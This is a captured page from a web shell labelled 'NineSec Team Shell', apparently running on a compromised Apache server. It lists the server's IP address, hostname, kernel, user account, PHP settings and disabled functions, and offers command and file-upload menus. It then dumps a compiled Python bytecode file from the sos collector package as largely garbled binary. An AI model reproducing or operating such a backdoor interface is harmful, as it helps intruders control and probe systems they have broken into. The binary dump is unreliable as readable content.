NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/collector/transports/__pycache__/local.cpython-36.pyc
3

~�g��@s0ddlZddlZddlmZGdd�de�ZdS)�N)�RemoteTransportc@sPeZdZdZdZdd�Zdd�Zedd��Zd	d
�Z	dd�Z
d
d�Zdd�ZdS)�LocalTransportz�
    A 'transport' to represent a local node. No remote connection is actually
    made, and all commands set to be run by this transport are executed locally
    without any wrappers.
    Z
local_nodecCsdS)NT�)�selfZpasswordrr�/usr/lib/python3.6/local.py�_connectszLocalTransport._connectcCsdS)NTr)rrrr�_disconnectszLocalTransport._disconnectcCsdS)NTr)rrrr�	connected szLocalTransport.connectedcCs&|jd|�d|���tj||�dS)NzMoving z to T)�	log_debug�shutil�copy)r�fname�destrrr�_retrieve_file$szLocalTransport._retrieve_filecCs|S)Nr)r�cmdrrr�_format_cmd_for_exec)sz#LocalTransport._format_cmd_for_execcCsdS)NTr)rr
rrrr�_copy_file_to_remote,sz#LocalTransport._copy_file_to_remotec
Cs>tjj|�r*t|ddd��
}|j�SQRX|jd|���dS)N�rzutf-8)�encodingzNo such file: �)�os�path�exists�open�readr
)rr
Zrfilerrr�
_read_file/s
zLocalTransport._read_fileN)
�__name__�
__module__�__qualname__�__doc__�namerr�propertyr	rrrrrrrrrsr)rrZsos.collector.transportsrrrrrr�<module>s

NineSec Team - 2022